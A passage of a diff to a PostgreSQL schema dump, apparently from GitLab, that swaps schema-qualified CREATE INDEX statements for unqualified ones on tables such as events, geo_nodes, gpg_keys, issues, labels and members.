-CREATE INDEX index_events_on_author_id_and_created_at ON public.events USING btree (author_id, created_at);
+CREATE INDEX index_geo_node_namespace_links_on_namespace_id ON geo_node_namespace_links USING btree (namespace_id);
-CREATE INDEX index_events_on_author_id_and_created_at_merge_requests ON public.events USING btree (author_id, created_at) WHERE ((target_type)::text = 'MergeRequest'::text);
+CREATE UNIQUE INDEX index_geo_node_statuses_on_geo_node_id ON geo_node_statuses USING btree (geo_node_id);
-CREATE INDEX index_events_on_author_id_and_project_id ON public.events USING btree (author_id, project_id);
+CREATE INDEX index_geo_nodes_on_access_key ON geo_nodes USING btree (access_key);
-CREATE INDEX index_events_on_group_id_partial ON public.events USING btree (group_id) WHERE (group_id IS NOT NULL);
+CREATE UNIQUE INDEX index_geo_nodes_on_name ON geo_nodes USING btree (name);
-CREATE INDEX index_events_on_project_id_and_created_at ON public.events USING btree (project_id, created_at);
+CREATE INDEX index_geo_nodes_on_primary ON geo_nodes USING btree ("primary");
-CREATE INDEX index_events_on_project_id_and_id ON public.events USING btree (project_id, id);
+CREATE INDEX index_geo_repositories_changed_events_on_geo_node_id ON geo_repositories_changed_events USING btree (geo_node_id);
-CREATE INDEX index_events_on_project_id_and_id_desc_on_merged_action ON public.events USING btree (project_id, id DESC) WHERE (action = 7);
+CREATE INDEX index_geo_repository_created_events_on_project_id ON geo_repository_created_events USING btree (project_id);
-CREATE INDEX index_events_on_target_type_and_target_id ON public.events USING btree (target_type, target_id);
+CREATE INDEX index_geo_repository_deleted_events_on_project_id ON geo_repository_deleted_events USING btree (project_id);
-CREATE UNIQUE INDEX index_events_on_target_type_and_target_id_and_fingerprint ON public.events USING btree (target_type, target_id, fingerprint);
+CREATE INDEX index_geo_repository_renamed_events_on_project_id ON geo_repository_renamed_events USING btree (project_id);
-CREATE INDEX index_evidences_on_release_id ON public.evidences USING btree (release_id);
+CREATE INDEX index_geo_repository_updated_events_on_project_id ON geo_repository_updated_events USING btree (project_id);
-CREATE INDEX index_experiment_users_on_experiment_id ON public.experiment_users USING btree (experiment_id);
+CREATE INDEX index_geo_repository_updated_events_on_source ON geo_repository_updated_events USING btree (source);
-CREATE INDEX index_experiment_users_on_user_id ON public.experiment_users USING btree (user_id);
+CREATE INDEX index_geo_reset_checksum_events_on_project_id ON geo_reset_checksum_events USING btree (project_id);
-CREATE UNIQUE INDEX index_experiments_on_name ON public.experiments USING btree (name);
+CREATE INDEX index_geo_upload_deleted_events_on_upload_id ON geo_upload_deleted_events USING btree (upload_id);
-CREATE INDEX index_expired_and_not_notified_personal_access_tokens ON public.personal_access_tokens USING btree (id, expires_at) WHERE ((impersonation = false) AND (revoked = false) AND (expire_notification_delivered = false));
+CREATE INDEX index_gitlab_subscription_histories_on_gitlab_subscription_id ON gitlab_subscription_histories USING btree (gitlab_subscription_id);
-CREATE UNIQUE INDEX index_external_pull_requests_on_project_and_branches ON public.external_pull_requests USING btree (project_id, source_branch, target_branch);
+CREATE INDEX index_gitlab_subscriptions_on_end_date_and_namespace_id ON gitlab_subscriptions USING btree (end_date, namespace_id);
-CREATE UNIQUE INDEX index_feature_flag_scopes_on_flag_id_and_environment_scope ON public.operations_feature_flag_scopes USING btree (feature_flag_id, environment_scope);
+CREATE INDEX index_gitlab_subscriptions_on_hosted_plan_id ON gitlab_subscriptions USING btree (hosted_plan_id);
-CREATE UNIQUE INDEX index_feature_flags_clients_on_project_id_and_token_encrypted ON public.operations_feature_flags_clients USING btree (project_id, token_encrypted);
+CREATE UNIQUE INDEX index_gitlab_subscriptions_on_namespace_id ON gitlab_subscriptions USING btree (namespace_id);
-CREATE UNIQUE INDEX index_feature_gates_on_feature_key_and_key_and_value ON public.feature_gates USING btree (feature_key, key, value);
+CREATE UNIQUE INDEX index_gpg_key_subkeys_on_fingerprint ON gpg_key_subkeys USING btree (fingerprint);
-CREATE UNIQUE INDEX index_features_on_key ON public.features USING btree (key);
+CREATE INDEX index_gpg_key_subkeys_on_gpg_key_id ON gpg_key_subkeys USING btree (gpg_key_id);
-CREATE INDEX index_for_resource_group ON public.ci_builds USING btree (resource_group_id, id) WHERE (resource_group_id IS NOT NULL);
+CREATE UNIQUE INDEX index_gpg_key_subkeys_on_keyid ON gpg_key_subkeys USING btree (keyid);
-CREATE INDEX index_for_status_per_branch_per_project ON public.merge_trains USING btree (target_project_id, target_branch, status);
+CREATE UNIQUE INDEX index_gpg_keys_on_fingerprint ON gpg_keys USING btree (fingerprint);
-CREATE INDEX index_fork_network_members_on_fork_network_id ON public.fork_network_members USING btree (fork_network_id);
+CREATE UNIQUE INDEX index_gpg_keys_on_primary_keyid ON gpg_keys USING btree (primary_keyid);
-CREATE INDEX index_fork_network_members_on_forked_from_project_id ON public.fork_network_members USING btree (forked_from_project_id);
+CREATE INDEX index_gpg_keys_on_user_id ON gpg_keys USING btree (user_id);
-CREATE UNIQUE INDEX index_fork_network_members_on_project_id ON public.fork_network_members USING btree (project_id);
+CREATE UNIQUE INDEX index_gpg_signatures_on_commit_sha ON gpg_signatures USING btree (commit_sha);
-CREATE UNIQUE INDEX index_fork_networks_on_root_project_id ON public.fork_networks USING btree (root_project_id);
+CREATE INDEX index_gpg_signatures_on_gpg_key_id ON gpg_signatures USING btree (gpg_key_id);
-CREATE INDEX index_geo_event_log_on_cache_invalidation_event_id ON public.geo_event_log USING btree (cache_invalidation_event_id) WHERE (cache_invalidation_event_id IS NOT NULL);
+CREATE INDEX index_gpg_signatures_on_gpg_key_primary_keyid ON gpg_signatures USING btree (gpg_key_primary_keyid);
-CREATE INDEX index_geo_event_log_on_container_repository_updated_event_id ON public.geo_event_log USING btree (container_repository_updated_event_id);
+CREATE INDEX index_gpg_signatures_on_gpg_key_subkey_id ON gpg_signatures USING btree (gpg_key_subkey_id);
-CREATE INDEX index_geo_event_log_on_geo_event_id ON public.geo_event_log USING btree (geo_event_id) WHERE (geo_event_id IS NOT NULL);
+CREATE INDEX index_gpg_signatures_on_project_id ON gpg_signatures USING btree (project_id);
-CREATE INDEX index_geo_event_log_on_hashed_storage_attachments_event_id ON public.geo_event_log USING btree (hashed_storage_attachments_event_id) WHERE (hashed_storage_attachments_event_id IS NOT NULL);
+CREATE INDEX index_grafana_integrations_on_enabled ON grafana_integrations USING btree (enabled) WHERE (enabled IS TRUE);
-CREATE INDEX index_geo_event_log_on_hashed_storage_migrated_event_id ON public.geo_event_log USING btree (hashed_storage_migrated_event_id) WHERE (hashed_storage_migrated_event_id IS NOT NULL);
+CREATE INDEX index_grafana_integrations_on_project_id ON grafana_integrations USING btree (project_id);
-CREATE INDEX index_geo_event_log_on_job_artifact_deleted_event_id ON public.geo_event_log USING btree (job_artifact_deleted_event_id) WHERE (job_artifact_deleted_event_id IS NOT NULL);
+CREATE UNIQUE INDEX index_group_custom_attributes_on_group_id_and_key ON group_custom_attributes USING btree (group_id, key);
-CREATE INDEX index_geo_event_log_on_lfs_object_deleted_event_id ON public.geo_event_log USING btree (lfs_object_deleted_event_id) WHERE (lfs_object_deleted_event_id IS NOT NULL);
+CREATE INDEX index_group_custom_attributes_on_key_and_value ON group_custom_attributes USING btree (key, value);
-CREATE INDEX index_geo_event_log_on_repositories_changed_event_id ON public.geo_event_log USING btree (repositories_changed_event_id) WHERE (repositories_changed_event_id IS NOT NULL);
+CREATE INDEX index_group_deletion_schedules_on_marked_for_deletion_on ON group_deletion_schedules USING btree (marked_for_deletion_on);
-CREATE INDEX index_geo_event_log_on_repository_created_event_id ON public.geo_event_log USING btree (repository_created_event_id) WHERE (repository_created_event_id IS NOT NULL);
+CREATE INDEX index_group_deletion_schedules_on_user_id ON group_deletion_schedules USING btree (user_id);
-CREATE INDEX index_geo_event_log_on_repository_deleted_event_id ON public.geo_event_log USING btree (repository_deleted_event_id) WHERE (repository_deleted_event_id IS NOT NULL);
+CREATE UNIQUE INDEX index_group_deploy_keys_group_on_group_deploy_key_and_group_ids ON group_deploy_keys_groups USING btree (group_id, group_deploy_key_id);
-CREATE INDEX index_geo_event_log_on_repository_renamed_event_id ON public.geo_event_log USING btree (repository_renamed_event_id) WHERE (repository_renamed_event_id IS NOT NULL);
+CREATE INDEX index_group_deploy_keys_groups_on_group_deploy_key_id ON group_deploy_keys_groups USING btree (group_deploy_key_id);
-CREATE INDEX index_geo_event_log_on_repository_updated_event_id ON public.geo_event_log USING btree (repository_updated_event_id) WHERE (repository_updated_event_id IS NOT NULL);
+CREATE UNIQUE INDEX index_group_deploy_keys_on_fingerprint ON group_deploy_keys USING btree (fingerprint);
-CREATE INDEX index_geo_event_log_on_reset_checksum_event_id ON public.geo_event_log USING btree (reset_checksum_event_id) WHERE (reset_checksum_event_id IS NOT NULL);
+CREATE INDEX index_group_deploy_keys_on_fingerprint_sha256 ON group_deploy_keys USING btree (fingerprint_sha256);
-CREATE INDEX index_geo_event_log_on_upload_deleted_event_id ON public.geo_event_log USING btree (upload_deleted_event_id) WHERE (upload_deleted_event_id IS NOT NULL);
+CREATE INDEX index_group_deploy_keys_on_user_id ON group_deploy_keys USING btree (user_id);
-CREATE INDEX index_geo_hashed_storage_attachments_events_on_project_id ON public.geo_hashed_storage_attachments_events USING btree (project_id);
+CREATE INDEX index_group_deploy_tokens_on_deploy_token_id ON group_deploy_tokens USING btree (deploy_token_id);
-CREATE INDEX index_geo_hashed_storage_migrated_events_on_project_id ON public.geo_hashed_storage_migrated_events USING btree (project_id);
+CREATE UNIQUE INDEX index_group_deploy_tokens_on_group_and_deploy_token_ids ON group_deploy_tokens USING btree (group_id, deploy_token_id);
-CREATE INDEX index_geo_job_artifact_deleted_events_on_job_artifact_id ON public.geo_job_artifact_deleted_events USING btree (job_artifact_id);
+CREATE UNIQUE INDEX index_group_group_links_on_shared_group_and_shared_with_group ON group_group_links USING btree (shared_group_id, shared_with_group_id);
-CREATE INDEX index_geo_lfs_object_deleted_events_on_lfs_object_id ON public.geo_lfs_object_deleted_events USING btree (lfs_object_id);
+CREATE INDEX index_group_group_links_on_shared_with_group_id ON group_group_links USING btree (shared_with_group_id);
-CREATE INDEX index_geo_node_namespace_links_on_geo_node_id ON public.geo_node_namespace_links USING btree (geo_node_id);
+CREATE INDEX index_group_import_states_on_group_id ON group_import_states USING btree (group_id);
-CREATE UNIQUE INDEX index_geo_node_namespace_links_on_geo_node_id_and_namespace_id ON public.geo_node_namespace_links USING btree (geo_node_id, namespace_id);
+CREATE UNIQUE INDEX index_group_stages_on_group_id_group_value_stream_id_and_name ON analytics_cycle_analytics_group_stages USING btree (group_id, group_value_stream_id, name);
-CREATE INDEX index_geo_node_namespace_links_on_namespace_id ON public.geo_node_namespace_links USING btree (namespace_id);
+CREATE UNIQUE INDEX index_group_wiki_repositories_on_disk_path ON group_wiki_repositories USING btree (disk_path);
-CREATE UNIQUE INDEX index_geo_node_statuses_on_geo_node_id ON public.geo_node_statuses USING btree (geo_node_id);
+CREATE INDEX index_group_wiki_repositories_on_shard_id ON group_wiki_repositories USING btree (shard_id);
-CREATE INDEX index_geo_nodes_on_access_key ON public.geo_nodes USING btree (access_key);
+CREATE INDEX index_identities_on_saml_provider_id ON identities USING btree (saml_provider_id) WHERE (saml_provider_id IS NOT NULL);
-CREATE UNIQUE INDEX index_geo_nodes_on_name ON public.geo_nodes USING btree (name);
+CREATE INDEX index_identities_on_user_id ON identities USING btree (user_id);
-CREATE INDEX index_geo_nodes_on_primary ON public.geo_nodes USING btree ("primary");
+CREATE UNIQUE INDEX index_import_export_uploads_on_group_id ON import_export_uploads USING btree (group_id) WHERE (group_id IS NOT NULL);
-CREATE INDEX index_geo_repositories_changed_events_on_geo_node_id ON public.geo_repositories_changed_events USING btree (geo_node_id);
+CREATE INDEX index_import_export_uploads_on_project_id ON import_export_uploads USING btree (project_id);
-CREATE INDEX index_geo_repository_created_events_on_project_id ON public.geo_repository_created_events USING btree (project_id);
+CREATE INDEX index_import_export_uploads_on_updated_at ON import_export_uploads USING btree (updated_at);
-CREATE INDEX index_geo_repository_deleted_events_on_project_id ON public.geo_repository_deleted_events USING btree (project_id);
+CREATE INDEX index_import_failures_on_correlation_id_value ON import_failures USING btree (correlation_id_value);
-CREATE INDEX index_geo_repository_renamed_events_on_project_id ON public.geo_repository_renamed_events USING btree (project_id);
+CREATE INDEX index_import_failures_on_group_id_not_null ON import_failures USING btree (group_id) WHERE (group_id IS NOT NULL);
-CREATE INDEX index_geo_repository_updated_events_on_project_id ON public.geo_repository_updated_events USING btree (project_id);
+CREATE INDEX index_import_failures_on_project_id_and_correlation_id_value ON import_failures USING btree (project_id, correlation_id_value) WHERE (retry_count = 0);
-CREATE INDEX index_geo_repository_updated_events_on_source ON public.geo_repository_updated_events USING btree (source);
+CREATE INDEX index_import_failures_on_project_id_not_null ON import_failures USING btree (project_id) WHERE (project_id IS NOT NULL);
-CREATE INDEX index_geo_reset_checksum_events_on_project_id ON public.geo_reset_checksum_events USING btree (project_id);
+CREATE INDEX index_imported_projects_on_import_type_creator_id_created_at ON projects USING btree (import_type, creator_id, created_at) WHERE (import_type IS NOT NULL);
-CREATE INDEX index_geo_upload_deleted_events_on_upload_id ON public.geo_upload_deleted_events USING btree (upload_id);
+CREATE UNIQUE INDEX index_index_statuses_on_project_id ON index_statuses USING btree (project_id);
-CREATE INDEX index_gitlab_subscription_histories_on_gitlab_subscription_id ON public.gitlab_subscription_histories USING btree (gitlab_subscription_id);
+CREATE INDEX index_insights_on_namespace_id ON insights USING btree (namespace_id);
-CREATE INDEX index_gitlab_subscriptions_on_end_date_and_namespace_id ON public.gitlab_subscriptions USING btree (end_date, namespace_id);
+CREATE INDEX index_insights_on_project_id ON insights USING btree (project_id);
-CREATE INDEX index_gitlab_subscriptions_on_hosted_plan_id ON public.gitlab_subscriptions USING btree (hosted_plan_id);
+CREATE INDEX index_internal_ids_on_namespace_id ON internal_ids USING btree (namespace_id);
-CREATE UNIQUE INDEX index_gitlab_subscriptions_on_namespace_id ON public.gitlab_subscriptions USING btree (namespace_id);
+CREATE INDEX index_internal_ids_on_project_id ON internal_ids USING btree (project_id);
-CREATE UNIQUE INDEX index_gpg_key_subkeys_on_fingerprint ON public.gpg_key_subkeys USING btree (fingerprint);
+CREATE UNIQUE INDEX index_internal_ids_on_usage_and_namespace_id ON internal_ids USING btree (usage, namespace_id) WHERE (namespace_id IS NOT NULL);
-CREATE INDEX index_gpg_key_subkeys_on_gpg_key_id ON public.gpg_key_subkeys USING btree (gpg_key_id);
+CREATE UNIQUE INDEX index_internal_ids_on_usage_and_project_id ON internal_ids USING btree (usage, project_id) WHERE (project_id IS NOT NULL);
-CREATE UNIQUE INDEX index_gpg_key_subkeys_on_keyid ON public.gpg_key_subkeys USING btree (keyid);
+CREATE INDEX index_ip_restrictions_on_group_id ON ip_restrictions USING btree (group_id);
-CREATE UNIQUE INDEX index_gpg_keys_on_fingerprint ON public.gpg_keys USING btree (fingerprint);
+CREATE UNIQUE INDEX index_issuable_severities_on_issue_id ON issuable_severities USING btree (issue_id);
-CREATE UNIQUE INDEX index_gpg_keys_on_primary_keyid ON public.gpg_keys USING btree (primary_keyid);
+CREATE UNIQUE INDEX index_issue_assignees_on_issue_id_and_user_id ON issue_assignees USING btree (issue_id, user_id);
-CREATE INDEX index_gpg_keys_on_user_id ON public.gpg_keys USING btree (user_id);
+CREATE INDEX index_issue_assignees_on_user_id ON issue_assignees USING btree (user_id);
-CREATE UNIQUE INDEX index_gpg_signatures_on_commit_sha ON public.gpg_signatures USING btree (commit_sha);
+CREATE INDEX index_issue_links_on_source_id ON issue_links USING btree (source_id);
-CREATE INDEX index_gpg_signatures_on_gpg_key_id ON public.gpg_signatures USING btree (gpg_key_id);
+CREATE UNIQUE INDEX index_issue_links_on_source_id_and_target_id ON issue_links USING btree (source_id, target_id);
-CREATE INDEX index_gpg_signatures_on_gpg_key_primary_keyid ON public.gpg_signatures USING btree (gpg_key_primary_keyid);
+CREATE INDEX index_issue_links_on_target_id ON issue_links USING btree (target_id);
-CREATE INDEX index_gpg_signatures_on_gpg_key_subkey_id ON public.gpg_signatures USING btree (gpg_key_subkey_id);
+CREATE INDEX index_issue_metrics ON issue_metrics USING btree (issue_id);
-CREATE INDEX index_gpg_signatures_on_project_id ON public.gpg_signatures USING btree (project_id);
+CREATE INDEX index_issue_metrics_on_issue_id_and_timestamps ON issue_metrics USING btree (issue_id, first_mentioned_in_commit_at, first_associated_with_milestone_at, first_added_to_board_at);
-CREATE INDEX index_grafana_integrations_on_enabled ON public.grafana_integrations USING btree (enabled) WHERE (enabled IS TRUE);
+CREATE INDEX index_issue_on_project_id_state_id_and_blocking_issues_count ON issues USING btree (project_id, state_id, blocking_issues_count);
-CREATE INDEX index_grafana_integrations_on_project_id ON public.grafana_integrations USING btree (project_id);
+CREATE INDEX index_issue_tracker_data_on_service_id ON issue_tracker_data USING btree (service_id);
-CREATE UNIQUE INDEX index_group_custom_attributes_on_group_id_and_key ON public.group_custom_attributes USING btree (group_id, key);
+CREATE UNIQUE INDEX index_issue_user_mentions_on_note_id ON issue_user_mentions USING btree (note_id) WHERE (note_id IS NOT NULL);
-CREATE INDEX index_group_custom_attributes_on_key_and_value ON public.group_custom_attributes USING btree (key, value);
+CREATE INDEX index_issues_on_author_id ON issues USING btree (author_id);
-CREATE INDEX index_group_deletion_schedules_on_marked_for_deletion_on ON public.group_deletion_schedules USING btree (marked_for_deletion_on);
+CREATE INDEX index_issues_on_author_id_and_id_and_created_at ON issues USING btree (author_id, id, created_at);
-CREATE INDEX index_group_deletion_schedules_on_user_id ON public.group_deletion_schedules USING btree (user_id);
+CREATE INDEX index_issues_on_closed_by_id ON issues USING btree (closed_by_id);
-CREATE UNIQUE INDEX index_group_deploy_keys_group_on_group_deploy_key_and_group_ids ON public.group_deploy_keys_groups USING btree (group_id, group_deploy_key_id);
+CREATE INDEX index_issues_on_confidential ON issues USING btree (confidential);
-CREATE INDEX index_group_deploy_keys_groups_on_group_deploy_key_id ON public.group_deploy_keys_groups USING btree (group_deploy_key_id);
+CREATE INDEX index_issues_on_description_trigram ON issues USING gin (description gin_trgm_ops);
-CREATE UNIQUE INDEX index_group_deploy_keys_on_fingerprint ON public.group_deploy_keys USING btree (fingerprint);
+CREATE INDEX index_issues_on_duplicated_to_id ON issues USING btree (duplicated_to_id) WHERE (duplicated_to_id IS NOT NULL);
-CREATE INDEX index_group_deploy_keys_on_fingerprint_sha256 ON public.group_deploy_keys USING btree (fingerprint_sha256);
+CREATE INDEX index_issues_on_incident_issue_type ON issues USING btree (issue_type) WHERE (issue_type = 1);
-CREATE INDEX index_group_deploy_keys_on_user_id ON public.group_deploy_keys USING btree (user_id);
+CREATE INDEX index_issues_on_last_edited_by_id ON issues USING btree (last_edited_by_id);
-CREATE INDEX index_group_deploy_tokens_on_deploy_token_id ON public.group_deploy_tokens USING btree (deploy_token_id);
+CREATE INDEX index_issues_on_milestone_id ON issues USING btree (milestone_id);
-CREATE UNIQUE INDEX index_group_deploy_tokens_on_group_and_deploy_token_ids ON public.group_deploy_tokens USING btree (group_id, deploy_token_id);
+CREATE INDEX index_issues_on_moved_to_id ON issues USING btree (moved_to_id) WHERE (moved_to_id IS NOT NULL);
-CREATE UNIQUE INDEX index_group_group_links_on_shared_group_and_shared_with_group ON public.group_group_links USING btree (shared_group_id, shared_with_group_id);
+CREATE UNIQUE INDEX index_issues_on_project_id_and_external_key ON issues USING btree (project_id, external_key) WHERE (external_key IS NOT NULL);
-CREATE INDEX index_group_group_links_on_shared_with_group_id ON public.group_group_links USING btree (shared_with_group_id);
+CREATE UNIQUE INDEX index_issues_on_project_id_and_iid ON issues USING btree (project_id, iid);
-CREATE INDEX index_group_import_states_on_group_id ON public.group_import_states USING btree (group_id);
+CREATE INDEX index_issues_on_promoted_to_epic_id ON issues USING btree (promoted_to_epic_id) WHERE (promoted_to_epic_id IS NOT NULL);
-CREATE UNIQUE INDEX index_group_stages_on_group_id_group_value_stream_id_and_name ON public.analytics_cycle_analytics_group_stages USING btree (group_id, group_value_stream_id, name);
+CREATE INDEX index_issues_on_relative_position ON issues USING btree (relative_position);
-CREATE UNIQUE INDEX index_group_wiki_repositories_on_disk_path ON public.group_wiki_repositories USING btree (disk_path);
+CREATE INDEX index_issues_on_sprint_id ON issues USING btree (sprint_id);
-CREATE INDEX index_group_wiki_repositories_on_shard_id ON public.group_wiki_repositories USING btree (shard_id);
+CREATE INDEX index_issues_on_title_trigram ON issues USING gin (title gin_trgm_ops);
-CREATE INDEX index_identities_on_saml_provider_id ON public.identities USING btree (saml_provider_id) WHERE (saml_provider_id IS NOT NULL);
+CREATE INDEX index_issues_on_updated_at ON issues USING btree (updated_at);
-CREATE INDEX index_identities_on_user_id ON public.identities USING btree (user_id);
+CREATE INDEX index_issues_on_updated_by_id ON issues USING btree (updated_by_id) WHERE (updated_by_id IS NOT NULL);
-CREATE UNIQUE INDEX index_import_export_uploads_on_group_id ON public.import_export_uploads USING btree (group_id) WHERE (group_id IS NOT NULL);
+CREATE UNIQUE INDEX index_jira_connect_installations_on_client_key ON jira_connect_installations USING btree (client_key);
-CREATE INDEX index_import_export_uploads_on_project_id ON public.import_export_uploads USING btree (project_id);
+CREATE INDEX index_jira_connect_subscriptions_on_namespace_id ON jira_connect_subscriptions USING btree (namespace_id);
-CREATE INDEX index_import_export_uploads_on_updated_at ON public.import_export_uploads USING btree (updated_at);
+CREATE INDEX index_jira_imports_on_label_id ON jira_imports USING btree (label_id);
-CREATE INDEX index_import_failures_on_correlation_id_value ON public.import_failures USING btree (correlation_id_value);
+CREATE INDEX index_jira_imports_on_project_id_and_jira_project_key ON jira_imports USING btree (project_id, jira_project_key);
-CREATE INDEX index_import_failures_on_group_id_not_null ON public.import_failures USING btree (group_id) WHERE (group_id IS NOT NULL);
+CREATE INDEX index_jira_imports_on_user_id ON jira_imports USING btree (user_id);
-CREATE INDEX index_import_failures_on_project_id_and_correlation_id_value ON public.import_failures USING btree (project_id, correlation_id_value) WHERE (retry_count = 0);
+CREATE INDEX index_jira_tracker_data_on_service_id ON jira_tracker_data USING btree (service_id);
-CREATE INDEX index_import_failures_on_project_id_not_null ON public.import_failures USING btree (project_id) WHERE (project_id IS NOT NULL);
+CREATE UNIQUE INDEX index_keys_on_fingerprint ON keys USING btree (fingerprint);
-CREATE UNIQUE INDEX index_index_statuses_on_project_id ON public.index_statuses USING btree (project_id);
+CREATE INDEX index_keys_on_fingerprint_sha256 ON keys USING btree (fingerprint_sha256);
-CREATE INDEX index_insights_on_namespace_id ON public.insights USING btree (namespace_id);
+CREATE INDEX index_keys_on_id_and_ldap_key_type ON keys USING btree (id) WHERE ((type)::text = 'LDAPKey'::text);
-CREATE INDEX index_insights_on_project_id ON public.insights USING btree (project_id);
+CREATE INDEX index_keys_on_last_used_at ON keys USING btree (last_used_at DESC NULLS LAST);
-CREATE INDEX index_internal_ids_on_namespace_id ON public.internal_ids USING btree (namespace_id);
+CREATE INDEX index_keys_on_user_id ON keys USING btree (user_id);
-CREATE INDEX index_internal_ids_on_project_id ON public.internal_ids USING btree (project_id);
+CREATE UNIQUE INDEX index_kubernetes_namespaces_on_cluster_project_environment_id ON clusters_kubernetes_namespaces USING btree (cluster_id, project_id, environment_id);
-CREATE UNIQUE INDEX index_internal_ids_on_usage_and_namespace_id ON public.internal_ids USING btree (usage, namespace_id) WHERE (namespace_id IS NOT NULL);
+CREATE INDEX index_label_links_on_label_id_and_target_type ON label_links USING btree (label_id, target_type);
-CREATE UNIQUE INDEX index_internal_ids_on_usage_and_project_id ON public.internal_ids USING btree (usage, project_id) WHERE (project_id IS NOT NULL);
+CREATE INDEX index_label_links_on_target_id_and_target_type ON label_links USING btree (target_id, target_type);
-CREATE INDEX index_ip_restrictions_on_group_id ON public.ip_restrictions USING btree (group_id);
+CREATE INDEX index_label_priorities_on_label_id ON label_priorities USING btree (label_id);
-CREATE UNIQUE INDEX index_issue_assignees_on_issue_id_and_user_id ON public.issue_assignees USING btree (issue_id, user_id);
+CREATE INDEX index_label_priorities_on_priority ON label_priorities USING btree (priority);
-CREATE INDEX index_issue_assignees_on_user_id ON public.issue_assignees USING btree (user_id);
+CREATE UNIQUE INDEX index_label_priorities_on_project_id_and_label_id ON label_priorities USING btree (project_id, label_id);
-CREATE INDEX index_issue_links_on_source_id ON public.issue_links USING btree (source_id);
+CREATE UNIQUE INDEX index_labels_on_group_id_and_project_id_and_title ON labels USING btree (group_id, project_id, title);
-CREATE UNIQUE INDEX index_issue_links_on_source_id_and_target_id ON public.issue_links USING btree (source_id, target_id);
+CREATE INDEX index_labels_on_group_id_and_title ON labels USING btree (group_id, title) WHERE (project_id = NULL::integer);
-CREATE INDEX index_issue_links_on_target_id ON public.issue_links USING btree (target_id);
+CREATE INDEX index_labels_on_project_id ON labels USING btree (project_id);
-CREATE INDEX index_issue_metrics ON public.issue_metrics USING btree (issue_id);
+CREATE UNIQUE INDEX index_labels_on_project_id_and_title_unique ON labels USING btree (project_id, title) WHERE (group_id IS NULL);
-CREATE INDEX index_issue_metrics_on_issue_id_and_timestamps ON public.issue_metrics USING btree (issue_id, first_mentioned_in_commit_at, first_associated_with_milestone_at, first_added_to_board_at);
+CREATE INDEX index_labels_on_template ON labels USING btree (template) WHERE template;
-CREATE INDEX index_issue_on_project_id_state_id_and_blocking_issues_count ON public.issues USING btree (project_id, state_id, blocking_issues_count);
+CREATE INDEX index_labels_on_title ON labels USING btree (title);
-CREATE INDEX index_issue_tracker_data_on_service_id ON public.issue_tracker_data USING btree (service_id);
+CREATE INDEX index_labels_on_type_and_project_id ON labels USING btree (type, project_id);
-CREATE UNIQUE INDEX index_issue_user_mentions_on_note_id ON public.issue_user_mentions USING btree (note_id) WHERE (note_id IS NOT NULL);
+CREATE UNIQUE INDEX index_lfs_file_locks_on_project_id_and_path ON lfs_file_locks USING btree (project_id, path);
-CREATE INDEX index_issues_on_author_id ON public.issues USING btree (author_id);
+CREATE INDEX index_lfs_file_locks_on_user_id ON lfs_file_locks USING btree (user_id);
-CREATE INDEX index_issues_on_author_id_and_id_and_created_at ON public.issues USING btree (author_id, id, created_at);
+CREATE INDEX index_lfs_objects_on_file_store ON lfs_objects USING btree (file_store);
-CREATE INDEX index_issues_on_closed_by_id ON public.issues USING btree (closed_by_id);
+CREATE UNIQUE INDEX index_lfs_objects_on_oid ON lfs_objects USING btree (oid);
-CREATE INDEX index_issues_on_confidential ON public.issues USING btree (confidential);
+CREATE INDEX index_lfs_objects_projects_on_lfs_object_id ON lfs_objects_projects USING btree (lfs_object_id);
-CREATE INDEX index_issues_on_description_trigram ON public.issues USING gin (description public.gin_trgm_ops);
+CREATE INDEX index_lfs_objects_projects_on_project_id_and_lfs_object_id ON lfs_objects_projects USING btree (project_id, lfs_object_id);
-CREATE INDEX index_issues_on_duplicated_to_id ON public.issues USING btree (duplicated_to_id) WHERE (duplicated_to_id IS NOT NULL);
+CREATE INDEX index_list_user_preferences_on_list_id ON list_user_preferences USING btree (list_id);
-CREATE INDEX index_issues_on_incident_issue_type ON public.issues USING btree (issue_type) WHERE (issue_type = 1);
+CREATE INDEX index_list_user_preferences_on_user_id ON list_user_preferences USING btree (user_id);
-CREATE INDEX index_issues_on_last_edited_by_id ON public.issues USING btree (last_edited_by_id);
+CREATE UNIQUE INDEX index_list_user_preferences_on_user_id_and_list_id ON list_user_preferences USING btree (user_id, list_id);
-CREATE INDEX index_issues_on_milestone_id ON public.issues USING btree (milestone_id);
+CREATE UNIQUE INDEX index_lists_on_board_id_and_label_id ON lists USING btree (board_id, label_id);
-CREATE INDEX index_issues_on_moved_to_id ON public.issues USING btree (moved_to_id) WHERE (moved_to_id IS NOT NULL);
+CREATE INDEX index_lists_on_label_id ON lists USING btree (label_id);
-CREATE UNIQUE INDEX index_issues_on_project_id_and_external_key ON public.issues USING btree (project_id, external_key) WHERE (external_key IS NOT NULL);
+CREATE INDEX index_lists_on_list_type ON lists USING btree (list_type);
-CREATE UNIQUE INDEX index_issues_on_project_id_and_iid ON public.issues USING btree (project_id, iid);
+CREATE INDEX index_lists_on_milestone_id ON lists USING btree (milestone_id);
-CREATE INDEX index_issues_on_promoted_to_epic_id ON public.issues USING btree (promoted_to_epic_id) WHERE (promoted_to_epic_id IS NOT NULL);
+CREATE INDEX index_lists_on_user_id ON lists USING btree (user_id);
-CREATE INDEX index_issues_on_relative_position ON public.issues USING btree (relative_position);
+CREATE INDEX index_members_on_access_level ON members USING btree (access_level);
-CREATE INDEX index_issues_on_sprint_id ON public.issues USING btree (sprint_id);
+CREATE INDEX index_members_on_expires_at ON members USING btree (expires_at);
-CREATE INDEX index_issues_on_title_trigram ON public.issues USING gin (title public.gin_trgm_ops);
+CREATE INDEX index_members_on_invite_email ON members USING btree (invite_email);
-CREATE INDEX index_issues_on_updated_at ON public.issues USING btree (updated_at);
+CREATE UNIQUE INDEX index_members_on_invite_token ON members USING btree (invite_token);
-CREATE INDEX index_issues_on_updated_by_id ON public.issues USING btree (updated_by_id) WHERE (updated_by_id IS NOT NULL);
+CREATE INDEX index_members_on_requested_at ON members USING btree (requested_at);
-CREATE UNIQUE INDEX index_jira_connect_installations_on_client_key ON public.jira_connect_installations USING btree (client_key);
+CREATE INDEX index_members_on_source_id_and_source_type ON members USING btree (source_id, source_type);
-CREATE INDEX index_jira_connect_subscriptions_on_namespace_id ON public.jira_connect_subscriptions USING btree (namespace_id);
+CREATE INDEX index_members_on_user_id ON members USING btree (user_id);
-CREATE INDEX index_jira_imports_on_label_id ON public.jira_imports USING btree (label_id);
+CREATE INDEX index_members_on_user_id_created_at ON members USING btree (user_id, created_at) WHERE ((ldap = true) AND ((type)::text = 'GroupMember'::text) AND ((source_type)::text = 'Namespace'::text));
